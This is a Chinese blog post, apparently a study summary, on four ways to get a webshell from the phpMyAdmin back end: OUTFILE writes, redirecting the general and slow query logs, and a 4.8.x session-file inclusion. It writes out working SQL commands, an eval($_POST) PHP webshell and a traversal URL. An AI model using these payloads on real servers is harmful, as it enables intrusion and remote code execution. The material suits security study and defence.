phpmyadmin后台getshell方法學習總結


0x00 前言

最近看的一篇文章中提到過phpmyadmin一些后台getshell方式,就想着寫篇博客學習總結一下~~

0x01 getshell方法

一、select into outfile直接寫入

1.利用條件

  • 對web目錄需要有寫權限能夠使用單引號
  • 知道絕對路徑
  • secure_file_priv沒有具體值

2.步驟
查看有沒有配置secure_file_priv

show global variables like '%secure%';

在這里插入圖片描述
secure_file_priv為NULL,表示限制mysql不允許導入導出。沒有具體值時,表示不對mysqld 的導入導出做限制。

當知道路徑時(通過報錯獲取路徑/phpinfo),可以直接用

?id=1 union select "<?php @eval($_POST['quan']);?>" into outfile("G:/phpStudy/PHPTutorial/www/quan.php")

或者選擇一個數據庫如test
新創建一個表a
在a中插入<?php @eval($_POST['quan']);?>
然后select * from a into outfile 'G:/phpStudy/PHPTutorial/www/quan.php';
將a中的數據導出到文件quan.php

二、開啟全局日志getshell

1.利用條件
必須是root權限
2.步驟
查看配置

show variables like '%general%';

在這里插入圖片描述
開啟general log模式

set global general_log = on;

設置日志目錄為shell地址

set global general_log_file = 'G:/phpStudy/PHPTutorial/www/quan.php';

在這里插入圖片描述
寫入shell

select '<?php eval($_POST[cmd]);?>'

在這里插入圖片描述
文件內容如下,然后用菜刀連就好啦
在這里插入圖片描述

三、使用慢查詢日志getshell

1.慢查詢日志
記錄所有執行時間超過long_query_time秒的所有查詢或者不使用索引的查詢。默認情況下,MySQL數據庫是不開啟慢查詢日志的,long_query_time的默認值為10(即10秒,通常設置為1秒),即運行10秒以上的語句是慢查詢語句。
2.步驟

show variables like '%slow%';

在這里插入圖片描述
修改日志文件絕對路徑及文件名

set global slow_query_log_file = 'G:/phpStudy/PHPTutorial/www/quan.php';

啟用慢查詢日志

set GLOBAL slow_query_log=on;

寫shell

select '<?php phpinfo();?>' from mysql.db where sleep(10);

四、利用phpmyadmin4.8.x本地文件包含漏洞getshell

通過包含sedsion文件的方法來getshell
1.步驟

select '<?php phpinfo()?>'; 

然后查看自己的sessionid(cookie中phpMyAdmin的值)
對應的SESSION文件為 /tmp/sess_sessionid
然后包含session文件
http://xxx/index.php?target=db_sql.php%3f/../../../../../../../../tmp/sessionid

0x02 參考

https://www.jianshu.com/p/ddd41b841c36


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM